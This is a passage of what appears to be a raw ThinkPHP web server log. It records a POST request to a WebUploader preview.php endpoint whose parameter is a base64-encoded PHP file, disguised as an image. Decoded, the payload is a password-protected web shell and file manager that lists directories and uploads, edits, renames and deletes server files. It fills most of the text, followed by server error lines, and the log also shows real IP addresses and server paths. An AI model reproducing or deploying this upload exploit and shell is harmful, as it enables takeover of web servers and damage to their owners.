9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:05:03+08:00 ] 119.42.146.234 POST 59.110.137.245/include/webuploader/0.1.5/server/preview.php [运行时间:0.002874s] [吞吐率:347.93req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'include', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgI